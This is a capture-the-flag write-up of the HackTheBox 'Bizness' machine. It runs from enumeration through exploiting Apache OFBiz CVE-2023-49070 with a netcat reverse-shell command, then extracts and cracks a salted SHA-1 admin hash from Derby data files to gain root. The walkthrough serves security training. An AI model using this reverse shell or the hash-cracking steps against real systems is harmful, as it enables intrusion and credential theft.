HackTheBox Bizness
Writeup for HackTheBox Bizness
Machine Synopsis
Key exploitation techniques:
- Apache OFBiz Pre-Auth RCE (CVE-2023-49070/CVE-2023-51467)
- Docker container analysis (entrypoint script)
- Information disclosure from Derby database (hashed password)
- Custom hash format decoding and cracking (salted SHA-1)
su
for root access
Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sV -sC 10.10.11.252
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
| tls-nextprotoneg:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan identified SSH, Nginx on ports 80 and 443 (with SSL).
ffuf
was used for directory enumeration on the HTTPS service, revealing a /control
endpoint.
1
2
3
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/FUZZ -ac
...
control [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 217ms]
Further enumeration on /control
revealed common sub-endpoints like /login
.
1
2
3
4
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/control/FUZZ -ac
...
login [Status: 200, Size: 11060, Words: 1236, Lines: 186, Duration: 989ms]
...
Browsing to https://bizness.htb/control/login
revealed “Powered by Apache OFBiz. Release 18.12” in the footer.
Exploitation
Apache OFBiz RCE (ofbiz) via CVE-2023-49070
Apache OFBiz Release 18.12 is known to be vulnerable to CVE-2023-49070 (and related CVE-2023-51467), a pre-authentication RCE. A public exploit script was used to gain a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
# Execute the exploit script with attacker IP and port
$ python3 exploit.py --url "https://bizness.htb/" --cmd "nc 10.10.14.11 9001 -e /bin/bash"
# Set up Netcat listener
$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.252] 50664
whoami
ofbiz
/usr/bin/script -qc /bin/bash /dev/null
ofbiz@bizness:/opt/ofbiz$
This successfully granted a reverse shell as the ofbiz
user.
Privilege Escalation
OFBiz Admin Password Hash (Root)
Initial enumeration involved analyzing the Dockerfile
and docker-entrypoint.sh
script located in /opt/ofbiz/docker
.
1
2
3
4
5
6
7
8
9
10
ofbiz@bizness:/opt/ofbiz$ cat Dockerfile
...
USER ofbiz
WORKDIR /ofbiz
...
COPY --chmod=555 docker/docker-entrypoint.sh docker/send_ofbiz_stop_signal.sh .
...
ENTRYPOINT ["/ofbiz/docker-entrypoint.sh"]
CMD ["bin/ofbiz"]
...
The docker-entrypoint.sh
script revealed how the admin password hash is generated and loaded into the OFBiz application. It concatenates a random salt with the admin password, takes a SHA-1 hash, converts it to URL Base64, and then formats it as $SHA${SALT}${SHA1SUM_BASE64}
before overwriting framework/resources/templates/AdminUserLoginData.xml
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ofbiz@bizness:/opt/ofbiz/docker$ cat docker-entrypoint.sh
#!/usr/bin/env bash
...
load_admin_user() {
if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
TMPFILE=$(mktemp)
SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"
SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')
SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"
/ofbiz/bin/ofbiz --load-data "file=$TMPFILE"
rm "$TMPFILE"
touch "$CONTAINER_ADMIN_LOADED"
fi
}
...
The default admin password hash in framework/resources/templates/AdminUserLoginData.xml
was noted as a placeholder.
1
2
3
4
5
6
ofbiz@bizness:/opt/ofbiz$ cat framework/resources/templates/AdminUserLoginData.xml
...
<entity-engine-xml>
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>
To find the actual loaded password hash, a grep
command was used to search for currentPassword=
while excluding the known default hash. This identified runtime/data/derby/ofbiz/seg0/c54d0.dat
as containing the active hash.
1
2
3
4
5
ofbiz@bizness:/opt/ofbiz$ grep -arl 'currentPassword=' . | xargs grep -lav '47ca69ebb4bdc9ae0adec130880165d2cc05db1a'
./applications/datamodel/data/demo/WorkEffortDemoData.xml
...
./runtime/data/derby/ofbiz/seg0/c54d0.dat
...
Extracting the hash from c54d0.dat
:
1
2
ofbiz@bizness:/opt/ofbiz$ grep -ia 'currentPassword=' ./runtime/data/derby/ofbiz/seg0/c54d0.dat
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
The extracted hash was $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
. Based on the docker-entrypoint.sh
script, this format is $SHA${SALT}${SHA1SUM_BASE64}
. The SHA1SUM_BASE64
part (uP0_QaVBpDWFeo8-dRzDqRwXQ2I
) needed to be converted from URL Base64 to its raw SHA-1 hexadecimal representation, and the salt d
needed to be appended for hashcat
. CyberChef was used to convert the Base64 portion to b8fd3f41a541a435857a8f3e751cc3a91c174362
.
The final hash format for hashcat
(mode 120
for SHA-1(salt+pass)) was b8fd3f41a541a435857a8f3e751cc3a91c174362:d
.
1
2
3
4
5
6
❯ echo 'b8fd3f41a541a435857a8f3e751cc3a91c174362:d' > hash
❯ hashcat -a 0 -m 120 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
...
The password monkeybizness
was successfully cracked. This password was for the root
user.
1
2
3
ofbiz@bizness:/opt/ofbiz$ su root
Password: monkeybizness
root@bizness:/opt/ofbiz#